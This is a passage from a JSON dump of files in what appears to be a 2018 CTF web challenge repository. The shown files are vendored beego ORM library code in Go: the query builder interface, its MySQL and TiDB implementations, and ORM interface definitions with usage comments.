    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport \"errors\"\n\n// QueryBuilder is the Query builder interface\ntype QueryBuilder interface {\n\tSelect(fields ...string) QueryBuilder\n\tForUpdate() QueryBuilder\n\tFrom(tables ...string) QueryBuilder\n\tInnerJoin(table string) QueryBuilder\n\tLeftJoin(table string) QueryBuilder\n\tRightJoin(table string) QueryBuilder\n\tOn(cond string) QueryBuilder\n\tWhere(cond string) QueryBuilder\n\tAnd(cond string) QueryBuilder\n\tOr(cond string) QueryBuilder\n\tIn(vals ...string) QueryBuilder\n\tOrderBy(fields ...string) QueryBuilder\n\tAsc() QueryBuilder\n\tDesc() QueryBuilder\n\tLimit(limit int) QueryBuilder\n\tOffset(offset int) QueryBuilder\n\tGroupBy(fields ...string) QueryBuilder\n\tHaving(cond string) QueryBuilder\n\tUpdate(tables ...string) QueryBuilder\n\tSet(kv ...string) QueryBuilder\n\tDelete(tables ...string) QueryBuilder\n\tInsertInto(table string, fields ...string) QueryBuilder\n\tValues(vals ...string) QueryBuilder\n\tSubquery(sub string, alias string) string\n\tString() string\n}\n\n// NewQueryBuilder return the QueryBuilder\nfunc NewQueryBuilder(driver string) (qb QueryBuilder, err error) {\n\tif driver == \"mysql\" {\n\t\tqb = new(MySQLQueryBuilder)\n\t} else if driver == \"tidb\" {\n\t\tqb = new(TiDBQueryBuilder)\n\t} else if driver == \"postgres\" {\n\t\terr = errors.New(\"postgres query builder is not supported yet\")\n\t} else if driver == \"sqlite\" {\n\t\terr = errors.New(\"sqlite query builder is not supported yet\")\n\t} else {\n\t\terr = errors.New(\"unknown driver for query builder\")\n\t}\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/qb_mysql.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// CommaSpace is the separation\nconst CommaSpace = \", \"\n\n// MySQLQueryBuilder is the SQL build\ntype MySQLQueryBuilder struct {\n\tTokens []string\n}\n\n// Select will join the fields\nfunc (qb *MySQLQueryBuilder) Select(fields ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"SELECT\", strings.Join(fields, CommaSpace))\n\treturn qb\n}\n\n// ForUpdate add the FOR UPDATE clause\nfunc (qb *MySQLQueryBuilder) ForUpdate() QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"FOR UPDATE\")\n\treturn qb\n}\n\n// From join the tables\nfunc (qb *MySQLQueryBuilder) From(tables ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"FROM\", strings.Join(tables, CommaSpace))\n\treturn qb\n}\n\n// InnerJoin INNER JOIN the table\nfunc (qb *MySQLQueryBuilder) InnerJoin(table string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"INNER JOIN\", table)\n\treturn qb\n}\n\n// LeftJoin LEFT JOIN the table\nfunc (qb *MySQLQueryBuilder) LeftJoin(table string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"LEFT JOIN\", table)\n\treturn qb\n}\n\n// RightJoin RIGHT JOIN the table\nfunc (qb *MySQLQueryBuilder) RightJoin(table string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"RIGHT JOIN\", table)\n\treturn qb\n}\n\n// On join with on cond\nfunc (qb *MySQLQueryBuilder) On(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"ON\", cond)\n\treturn qb\n}\n\n// Where join the Where cond\nfunc (qb *MySQLQueryBuilder) Where(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"WHERE\", cond)\n\treturn qb\n}\n\n// And join the and cond\nfunc (qb *MySQLQueryBuilder) And(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"AND\", cond)\n\treturn qb\n}\n\n// Or join the or cond\nfunc (qb *MySQLQueryBuilder) Or(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"OR\", cond)\n\treturn qb\n}\n\n// In join the IN (vals)\nfunc (qb *MySQLQueryBuilder) In(vals ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"IN\", \"(\", strings.Join(vals, CommaSpace), \")\")\n\treturn qb\n}\n\n// OrderBy join the Order by fields\nfunc (qb *MySQLQueryBuilder) OrderBy(fields ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"ORDER BY\", strings.Join(fields, CommaSpace))\n\treturn qb\n}\n\n// Asc join the asc\nfunc (qb *MySQLQueryBuilder) Asc() QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"ASC\")\n\treturn qb\n}\n\n// Desc join the desc\nfunc (qb *MySQLQueryBuilder) Desc() QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"DESC\")\n\treturn qb\n}\n\n// Limit join the limit num\nfunc (qb *MySQLQueryBuilder) Limit(limit int) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"LIMIT\", strconv.Itoa(limit))\n\treturn qb\n}\n\n// Offset join the offset num\nfunc (qb *MySQLQueryBuilder) Offset(offset int) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"OFFSET\", strconv.Itoa(offset))\n\treturn qb\n}\n\n// GroupBy join the Group by fields\nfunc (qb *MySQLQueryBuilder) GroupBy(fields ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"GROUP BY\", strings.Join(fields, CommaSpace))\n\treturn qb\n}\n\n// Having join the Having cond\nfunc (qb *MySQLQueryBuilder) Having(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"HAVING\", cond)\n\treturn qb\n}\n\n// Update join the update table\nfunc (qb *MySQLQueryBuilder) Update(tables ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"UPDATE\", strings.Join(tables, CommaSpace))\n\treturn qb\n}\n\n// Set join the set kv\nfunc (qb *MySQLQueryBuilder) Set(kv ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"SET\", strings.Join(kv, CommaSpace))\n\treturn qb\n}\n\n// Delete join the Delete tables\nfunc (qb *MySQLQueryBuilder) Delete(tables ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"DELETE\")\n\tif len(tables) != 0 {\n\t\tqb.Tokens = append(qb.Tokens, strings.Join(tables, CommaSpace))\n\t}\n\treturn qb\n}\n\n// InsertInto join the insert SQL\nfunc (qb *MySQLQueryBuilder) InsertInto(table string, fields ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"INSERT INTO\", table)\n\tif len(fields) != 0 {\n\t\tfieldsStr := strings.Join(fields, CommaSpace)\n\t\tqb.Tokens = append(qb.Tokens, \"(\", fieldsStr, \")\")\n\t}\n\treturn qb\n}\n\n// Values join the Values(vals)\nfunc (qb *MySQLQueryBuilder) Values(vals ...string) QueryBuilder {\n\tvalsStr := strings.Join(vals, CommaSpace)\n\tqb.Tokens = append(qb.Tokens, \"VALUES\", \"(\", valsStr, \")\")\n\treturn qb\n}\n\n// Subquery join the sub as alias\nfunc (qb *MySQLQueryBuilder) Subquery(sub string, alias string) string {\n\treturn fmt.Sprintf(\"(%s) AS %s\", sub, alias)\n}\n\n// String join all Tokens\nfunc (qb *MySQLQueryBuilder) String() string {\n\treturn strings.Join(qb.Tokens, \" \")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/qb_tidb.go",
    "content": "// Copyright 2015 TiDB Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// TiDBQueryBuilder is the SQL build\ntype TiDBQueryBuilder struct {\n\tTokens []string\n}\n\n// Select will join the fields\nfunc (qb *TiDBQueryBuilder) Select(fields ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"SELECT\", strings.Join(fields, CommaSpace))\n\treturn qb\n}\n\n// ForUpdate add the FOR UPDATE clause\nfunc (qb *TiDBQueryBuilder) ForUpdate() QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"FOR UPDATE\")\n\treturn qb\n}\n\n// From join the tables\nfunc (qb *TiDBQueryBuilder) From(tables ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"FROM\", strings.Join(tables, CommaSpace))\n\treturn qb\n}\n\n// InnerJoin INNER JOIN the table\nfunc (qb *TiDBQueryBuilder) InnerJoin(table string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"INNER JOIN\", table)\n\treturn qb\n}\n\n// LeftJoin LEFT JOIN the table\nfunc (qb *TiDBQueryBuilder) LeftJoin(table string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"LEFT JOIN\", table)\n\treturn qb\n}\n\n// RightJoin RIGHT JOIN the table\nfunc (qb *TiDBQueryBuilder) RightJoin(table string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"RIGHT JOIN\", table)\n\treturn qb\n}\n\n// On join with on cond\nfunc (qb *TiDBQueryBuilder) On(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"ON\", cond)\n\treturn qb\n}\n\n// Where join the Where cond\nfunc (qb *TiDBQueryBuilder) Where(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"WHERE\", cond)\n\treturn qb\n}\n\n// And join the and cond\nfunc (qb *TiDBQueryBuilder) And(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"AND\", cond)\n\treturn qb\n}\n\n// Or join the or cond\nfunc (qb *TiDBQueryBuilder) Or(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"OR\", cond)\n\treturn qb\n}\n\n// In join the IN (vals)\nfunc (qb *TiDBQueryBuilder) In(vals ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"IN\", \"(\", strings.Join(vals, CommaSpace), \")\")\n\treturn qb\n}\n\n// OrderBy join the Order by fields\nfunc (qb *TiDBQueryBuilder) OrderBy(fields ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"ORDER BY\", strings.Join(fields, CommaSpace))\n\treturn qb\n}\n\n// Asc join the asc\nfunc (qb *TiDBQueryBuilder) Asc() QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"ASC\")\n\treturn qb\n}\n\n// Desc join the desc\nfunc (qb *TiDBQueryBuilder) Desc() QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"DESC\")\n\treturn qb\n}\n\n// Limit join the limit num\nfunc (qb *TiDBQueryBuilder) Limit(limit int) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"LIMIT\", strconv.Itoa(limit))\n\treturn qb\n}\n\n// Offset join the offset num\nfunc (qb *TiDBQueryBuilder) Offset(offset int) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"OFFSET\", strconv.Itoa(offset))\n\treturn qb\n}\n\n// GroupBy join the Group by fields\nfunc (qb *TiDBQueryBuilder) GroupBy(fields ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"GROUP BY\", strings.Join(fields, CommaSpace))\n\treturn qb\n}\n\n// Having join the Having cond\nfunc (qb *TiDBQueryBuilder) Having(cond string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"HAVING\", cond)\n\treturn qb\n}\n\n// Update join the update table\nfunc (qb *TiDBQueryBuilder) Update(tables ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"UPDATE\", strings.Join(tables, CommaSpace))\n\treturn qb\n}\n\n// Set join the set kv\nfunc (qb *TiDBQueryBuilder) Set(kv ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"SET\", strings.Join(kv, CommaSpace))\n\treturn qb\n}\n\n// Delete join the Delete tables\nfunc (qb *TiDBQueryBuilder) Delete(tables ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"DELETE\")\n\tif len(tables) != 0 {\n\t\tqb.Tokens = append(qb.Tokens, strings.Join(tables, CommaSpace))\n\t}\n\treturn qb\n}\n\n// InsertInto join the insert SQL\nfunc (qb *TiDBQueryBuilder) InsertInto(table string, fields ...string) QueryBuilder {\n\tqb.Tokens = append(qb.Tokens, \"INSERT INTO\", table)\n\tif len(fields) != 0 {\n\t\tfieldsStr := strings.Join(fields, CommaSpace)\n\t\tqb.Tokens = append(qb.Tokens, \"(\", fieldsStr, \")\")\n\t}\n\treturn qb\n}\n\n// Values join the Values(vals)\nfunc (qb *TiDBQueryBuilder) Values(vals ...string) QueryBuilder {\n\tvalsStr := strings.Join(vals, CommaSpace)\n\tqb.Tokens = append(qb.Tokens, \"VALUES\", \"(\", valsStr, \")\")\n\treturn qb\n}\n\n// Subquery join the sub as alias\nfunc (qb *TiDBQueryBuilder) Subquery(sub string, alias string) string {\n\treturn fmt.Sprintf(\"(%s) AS %s\", sub, alias)\n}\n\n// String join all Tokens\nfunc (qb *TiDBQueryBuilder) String() string {\n\treturn strings.Join(qb.Tokens, \" \")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/types.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"database/sql\"\n\t\"reflect\"\n\t\"time\"\n)\n\n// Driver define database driver\ntype Driver interface {\n\tName() string\n\tType() DriverType\n}\n\n// Fielder define field info\ntype Fielder interface {\n\tString() string\n\tFieldType() int\n\tSetRaw(interface{}) error\n\tRawValue() interface{}\n}\n\n// Ormer define the orm interface\ntype Ormer interface {\n\t// read data to model\n\t// for example:\n\t//\tthis will find User by Id field\n\t// \tu = &User{Id: user.Id}\n\t// \terr = Ormer.Read(u)\n\t//\tthis will find User by UserName field\n\t// \tu = &User{UserName: \"astaxie\", Password: \"pass\"}\n\t//\terr = Ormer.Read(u, \"UserName\")\n\tRead(md interface{}, cols ...string) error\n\t// Like Read(), but with \"FOR UPDATE\" clause, useful in transaction.\n\t// Some databases are not support this feature.\n\tReadForUpdate(md interface{}, cols ...string) error\n\t// Try to read a row from the database, or insert one if it doesn't exist\n\tReadOrCreate(md interface{}, col1 string, cols ...string) (bool, int64, error)\n\t// insert model data to database\n\t// for example:\n\t//  user := new(User)\n\t//  id, err = Ormer.Insert(user)\n\t//  user must a pointer and Insert will set user's pk field\n\tInsert(interface{}) (int64, error)\n\t// mysql:InsertOrUpdate(model) or InsertOrUpdate(model,\"colu=colu+value\")\n\t// if colu type is integer : can use(+-*/), string : convert(colu,\"value\")\n\t// postgres: InsertOrUpdate(model,\"conflictColumnName\") or InsertOrUpdate(model,\"conflictColumnName\",\"colu=colu+value\")\n\t// if colu type is integer : can use(+-*/), string : colu || \"value\"\n\tInsertOrUpdate(md interface{}, colConflitAndArgs ...string) (int64, error)\n\t// insert some models to database\n\tInsertMulti(bulk int, mds interface{}) (int64, error)\n\t// update model to database.\n\t// cols set the columns those want to update.\n\t// find model by Id(pk) field and update columns specified by fields, if cols is null then update all columns\n\t// for example:\n\t// user := User{Id: 2}\n\t//\tuser.Langs = append(user.Langs, \"zh-CN\", \"en-US\")\n\t//\tuser.Extra.Name = \"beego\"\n\t//\tuser.Extra.Data = \"orm\"\n\t//\tnum, err = Ormer.Update(&user, \"Langs\", \"Extra\")\n\tUpdate(md interface{}, cols ...string) (int64, error)\n\t// delete model in database\n\tDelete(md interface{}, cols ...string) (int64, error)\n\t// load related models to md model.\n\t// args are limit, offset int and order string.\n\t//\n\t// example:\n\t// \tOrmer.LoadRelated(post,\"Tags\")\n\t// \tfor _,tag := range post.Tags{...}\n\t//args[0] bool true useDefaultRelsDepth ; false  depth 0\n\t//args[0] int  loadRelationDepth\n\t//args[1] int limit default limit 1000\n\t//args[2] int offset default offset 0\n\t//args[3] string order  for example : \"-Id\"\n\t// make sure the relation is defined in model struct tags.\n\tLoadRelated(md interface{}, name string, args ...interface{}) (int64, error)\n\t// create a models to models queryer\n\t// for example:\n\t// \tpost := Post{Id: 4}\n\t// \tm2m := Ormer.QueryM2M(&post, \"Tags\")\n\tQueryM2M(md interface{}, name string) QueryM2Mer\n\t// return a QuerySeter for table operations.\n\t// table name can be string or struct.\n\t// e.g. QueryTable(\"user\"), QueryTable(&user{}) or QueryTable((*User)(nil)),\n\tQueryTable(ptrStructOrTableName interface{}) QuerySeter\n\t// switch to another registered database driver by given name.\n\tUsing(name string) error\n\t// begin transaction\n\t// for example:\n\t// \to := NewOrm()\n\t// \terr := o.Begin()\n\t// \t...\n\t// \terr = o.Rollback()\n\tBegin() error\n\t// commit transaction\n\tCommit() error\n\t// rollback transaction\n\tRollback() error\n\t// return a raw query seter for raw sql string.\n\t// for example:\n\t//\t ormer.Raw(\"UPDATE `user` SET `user_name` = ? WHERE `user_name` = ?\", \"slene\", \"testing\").Exec()\n\t//\t// update user testing's name to slene\n\tRaw(query string, args ...interface{}) RawSeter\n\tDriver() Driver\n}\n\n// Inserter insert prepared statement\ntype Inserter interface {\n\tInsert(interface{}) (int64, error)\n\tClose() error\n}\n\n// QuerySeter query seter\ntype QuerySeter interface {\n\t// add condition expression to QuerySeter.\n\t// for example:\n\t//\tfilter by UserName == 'slene'\n\t//\tqs.Filter(\"UserName\", \"slene\")\n\t//\tsql : left outer join profile on t0.id1==t1.id2 where t1.age == 28\n\t//\tFilter(\"profile__Age\", 28)\n\t// \t // time compare\n\t//\tqs.Filter(\"created\", time.Now())\n\tFilter(string, ...interface{}) QuerySeter\n\t// add NOT condition to querySeter.\n\t// have the same usage as Filter\n\tExclude(string, ...interface{}) QuerySeter\n\t// set condition to QuerySeter.\n\t// sql's where condition\n\t//\tcond := orm.NewCondition()\n\t//\tcond1 := cond.And(\"profile__isnull\", false).AndNot(\"status__in\", 1).Or(\"profile__age__gt\", 2000)\n\t//\t//sql-> WHERE T0.`profile_id` IS NOT NULL AND NOT T0.`Status` IN (?) OR T1.`age` >  2000\n\t//\tnum, err := qs.SetCond(cond1).Count()\n\tSetCond(*Condition) QuerySeter\n\t// get condition from QuerySeter.\n\t// sql's where condition\n\t//  cond := orm.NewCondition()\n\t//  cond = cond.And(\"profile__isnull\", false).AndNot(\"status__in\", 1)\n\t//  qs = qs.SetCond(cond)\n\t//  cond = qs.GetCond()\n\t//  cond := cond.Or(\"profile__age__gt\", 2000)\n\t//  //sql-> WHERE T0.`profile_id` IS NOT NULL AND NOT T0.`Status` IN (?) OR T1.`age` >  2000\n\t//  num, err := qs.SetCond(cond).Count()\n\tGetCond() *Condition\n\t// add LIMIT value.\n\t// args[0] means offset, e.g. LIMIT num,offset.\n\t// if Limit <= 0 then Limit will be set to default limit ,eg 1000\n\t// if QuerySeter doesn't call Limit, the sql's Limit will be set to default limit, eg 1000\n\t//  for example:\n\t//\tqs.Limit(10, 2)\n\t//\t// sql-> limit 10 offset 2\n\tLimit(limit interface{}, args ...interface{}) QuerySeter\n\t// add OFFSET value\n\t// same as Limit function's args[0]\n\tOffset(offset interface{}) QuerySeter\n\t// add GROUP BY expression\n\t// for example:\n\t//\tqs.GroupBy(\"id\")\n\tGroupBy(exprs ...string) QuerySeter\n\t// add ORDER expression.\n\t// \"column\" means ASC, \"-column\" means DESC.\n\t// for example:\n\t//\tqs.OrderBy(\"-status\")\n\tOrderBy(exprs ...string) QuerySeter\n\t// set relation model to query together.\n\t// it will query relation models and assign to parent model.\n\t// for example:\n\t//\t// will load all related fields use left join .\n\t// \tqs.RelatedSel().One(&user)\n\t//\t// will  load related field only profile\n\t//\tqs.RelatedSel(\"profile\").One(&user)\n\t//\tuser.Profile.Age = 32\n\tRelatedSel(params ...interface{}) QuerySeter\n\t// Set Distinct\n\t// for example:\n\t//  o.QueryTable(\"policy\").Filter(\"Groups__Group__Users__User\", user).\n\t//    Distinct().\n\t//    All(&permissions)\n\tDistinct() QuerySeter\n\t// return QuerySeter execution result number\n\t// for example:\n\t//\tnum, err = qs.Filter(\"profile__age__gt\", 28).Count()\n\tCount() (int64, error)\n\t// check result empty or not after QuerySeter executed\n\t// the same as QuerySeter.Count > 0\n\tExist() bool\n\t// execute update with parameters\n\t// for example:\n\t//\tnum, err = qs.Filter(\"user_name\", \"slene\").Update(Params{\n\t//\t\t\"Nums\": ColValue(Col_Minus, 50),\n\t//\t}) // user slene's Nums will minus 50\n\t//\tnum, err = qs.Filter(\"UserName\", \"slene\").Update(Params{\n\t//\t\t\"user_name\": \"slene2\"\n\t//\t}) // user slene's  name will change to slene2\n\tUpdate(values Params) (int64, error)\n\t// delete from table\n\t//for example:\n\t//\tnum ,err = qs.Filter(\"user_name__in\", \"testing1\", \"testing2\").Delete()\n\t// \t//delete two user  who's name is testing1 or testing2\n\tDelete() (int64, error)\n\t// return a insert queryer.\n\t// it can be used in times.\n\t// example:\n\t// \ti,err := sq.PrepareInsert()\n\t// \tnum, err = i.Insert(&user1) // user table will add one record user1 at once\n\t//\tnum, err = i.Insert(&user2) // user table will add one record user2 at once\n\t//\terr = i.Close() //don't forget call Close\n\tPrepareInsert() (Inserter, error)\n\t// query all data and map to containers.\n\t// cols means the columns when querying.\n\t// for example:\n\t//\tvar users []*User\n\t//\tqs.All(&users) // users[0],users[1],users[2] ...\n\tAll(container interface{}, cols ...string) (int64, error)\n\t// query one row data and map to containers.\n\t// cols means the columns when querying.\n\t// for example:\n\t//\tvar user User\n\t//\tqs.One(&user) //user.UserName == \"slene\"\n\tOne(container interface{}, cols ...string) error\n\t// query all data and map to []map[string]interface.\n\t// expres means condition expression.\n\t// it converts data to []map[column]value.\n\t// for example:\n\t//\tvar maps []Params\n\t//\tqs.Values(&maps) //maps[0][\"UserName\"]==\"slene\"\n\tValues(results *[]Params, exprs ...string) (int64, error)\n\t// query all data and map to [][]interface\n\t// it converts data to [][column_index]value\n\t// for example:\n\t//\tvar list []ParamsList\n\t//\tqs.ValuesList(&list) // list[0][1] == \"slene\"\n\tValuesList(results *[]ParamsList, exprs ...string) (int64, error)\n\t// query all data and map to []interface.\n\t// it's designed for one column record set, auto change to []value, not [][column]value.\n\t// for example:\n\t//\tvar list ParamsList\n\t//\tqs.ValuesFlat(&list, \"UserName\") // list[0] == \"slene\"\n\tValuesFlat(result *ParamsList, expr string) (int64, error)\n\t// query all rows into map[string]interface with specify key and value column name.\n\t// keyCol = \"name\", valueCol = \"value\"\n\t// table data\n\t// name  | value\n\t// total | 100\n\t// found | 200\n\t// to map[string]interface{}{\n\t// \t\"total\": 100,\n\t// \t\"found\": 200,\n\t// }\n\tRowsToMap(result *Params, keyCol, valueCol string) (int64, error)\n\t// query all rows into struct with specify key and value column name.\n\t// keyCol = \"name\", valueCol = \"value\"\n\t// table data\n\t// name  | value\n\t// total | 100\n\t// found | 200\n\t// to struct {\n\t// \tTotal int\n\t// \tFound int\n\t// }\n\tRowsToStruct(ptrStruct interface{}, keyCol, valueCol string) (int64, error)\n}\n\n// QueryM2Mer model to model query struct\n// all operations are on the m2m table only, will not affect the origin model table\ntype QueryM2Mer interface {\n\t// add models to origin models when creating queryM2M.\n\t// example:\n\t// \tm2m := orm.QueryM2M(post,\"Tag\")\n\t// \tm2m.Add(&Tag1{},&Tag2{})\n\t//  \tfor _,tag := range post.Tags{}{ ... }\n\t// param could also be any of the follow\n\t// \t[]*Tag{{Id:3,Name: \"TestTag1\"}, {Id:4,Name: \"TestTag2\"}}\n\t//\t&Tag{Id:5,Name: \"TestTag3\"}\n\t//\t[]interface{}{&Tag{Id:6,Name: \"TestTag4\"}}\n\t// insert one or more rows to m2m table\n\t// make sure the relation is defined in post model struct tag.\n\tAdd(...interface{}) (int64, error)\n\t// remove models following the origin model relationship\n\t// only delete rows from m2m table\n\t// for example:\n\t//tag3 := &Tag{Id:5,Name: \"TestTag3\"}\n\t//num, err = m2m.Remove(tag3)\n\tRemove(...interface{}) (int64, error)\n\t// check model is existed in relationship of origin model\n\tExist(interface{}) bool\n\t// clean all models in related of origin model\n\tClear() (int64, error)\n\t// count all related models of origin model\n\tCount() (int64, error)\n}\n\n// RawPreparer raw query statement\ntype RawPreparer interface {\n\tExec(...interface{}) (sql.Result, error)\n\tClose() error\n}\n\n// RawSeter raw query seter\n// create From Ormer.Raw\n// for example:\n//  sql := fmt.Sprintf(\"SELECT %sid%s,%sname%s FROM %suser%s WHERE id = ?\",Q,Q,Q,Q,Q,Q)\n//  rs := Ormer.Raw(sql, 1)\ntype RawSeter interface {\n\t//execute sql and get result\n\tExec() (sql.Result, error)\n\t//query data and map to container\n\t//for example:\n\t//\tvar name string\n\t//\tvar id int\n\t//\trs.QueryRow(&id,&name) // id==2 name==\"slene\"\n\tQueryRow(containers ...interface{}) error\n\n\t// query data rows and map to container\n\t//\tvar ids []int\n\t//\tvar names []int\n\t//\tquery = fmt.Sprintf(\"SELECT 'id','name' FROM %suser%s\", Q, Q)\n\t//\tnum, err = dORM.Raw(query).QueryRows(&ids,&names) // ids=>{1,2},names=>{\"nobody\",\"slene\"}\n\tQueryRows(containers ...interface{}) (int64, error)\n\tSetArgs(...interface{}) RawSeter\n\t// query data to []map[string]interface\n\t// see QuerySeter's Values\n\tValues(container *[]Params, cols ...string) (int64, error)\n\t// query data to [][]interface\n\t// see QuerySeter's ValuesList\n\tValuesList(container *[]ParamsList, cols ...string) (int64, error)\n\t// query data to []interface\n\t// see QuerySeter's ValuesFlat\n\tValuesFlat(container *ParamsList, cols ...string) (int64, error)\n\t// query all rows into map[string]interface with specify key and value column name.\n\t// keyCol = \"name\", valueCol = \"value\"\n\t// table data\n\t// name  | value\n\t// total | 100\n\t// found | 200\n\t// to map[string]interface{}{\n\t// \t\"total\": 100,\n\t// \t\"found\": 200,\n\t// }\n\tRowsToMap(result *Params, keyCol, valueCol string) (int64, error)\n\t// query all rows into struct with specify key and value column name.\n\t// keyCol = \"name\", valueCol = \"value\"\n\t// table data\n\t// name  | value\n\t// total | 100\n\t// found | 200\n\t// to struct {\n\t// \tTotal int\n\t// \tFound int\n\t// }\n\tRowsToStruct(ptrStruct interface{}, keyCol, valueCol string) (int64, error)\n\n\t// return prepared raw statement for used in times.\n\t// for example:\n\t// \tpre, err := dORM.Raw(\"INSERT INTO tag (name) VALUES (?)\").Prepare()\n\t// \tr, err := pre.Exec(\"name1\") // INSERT INTO tag (name) VALUES (`name1`)\n\tPrepare() (RawPreparer, error)\n}\n\n// stmtQuerier statement querier\ntype stmtQuerier interface {\n\tClose() error\n\tExec(args ...interface{}) (sql.Result, error)\n\tQuery(args ...interface{}) (*sql.Rows, error)\n\tQueryRow(args ...interface{}) *sql.Row\n}\n\n// db querier\ntype dbQuerier interface {\n\tPrepare(query string) (*sql.Stmt, error)\n\tExec(query string, args ...interface{}) (sql.Result, error)\n\tQuery(query string, args ...interface{}) (*sql.Rows, error)\n\tQueryRow(query string, args ...interface{}) *sql.Row\n}\n\n// type DB interface {\n// \tBegin() (*sql.Tx, error)\n// \tPrepare(query string) (stmtQuerier, error)\n// \tExec(query string, args ...interface{}) (sql.Result, error)\n// \tQuery(query string, args ...interface{}) (*sql.Rows, error)\n// \tQueryRow(query string, args ...interface{}) *sql.Row\n// }\n\n// transaction beginner\ntype txer interface {\n\tBegin() (*sql.Tx, error)\n}\n\n// transaction ending\ntype txEnder interface {\n\tCommit() error\n\tRollback() error\n}\n\n// base database struct\ntype dbBaser interface {\n\tRead(dbQuerier, *modelInfo, reflect.Value, *time.Location, []string, bool) error\n\tInsert(dbQuerier, *modelInfo, reflect.Value, *time.Location) (int64, error)\n\tInsertOrUpdate(dbQuerier, *modelInfo, reflect.Value, *alias, ...string) (int64, error)\n\tInsertMulti(dbQuerier, *modelInfo, reflect.Value, int, *time.Location) (int64, error)\n\tInsertValue(dbQuerier, *modelInfo, bool, []string, []interface{}) (int64, error)\n\tInsertStmt(stmtQuerier, *modelInfo, reflect.Value, *time.Location) (int64, error)\n\tUpdate(dbQuerier, *modelInfo, reflect.Value, *time.Location, []string) (int64, error)\n\tDelete(dbQuerier, *modelInfo, reflect.Value, *time.Location, []string) (int64, error)\n\tReadBatch(dbQuerier, 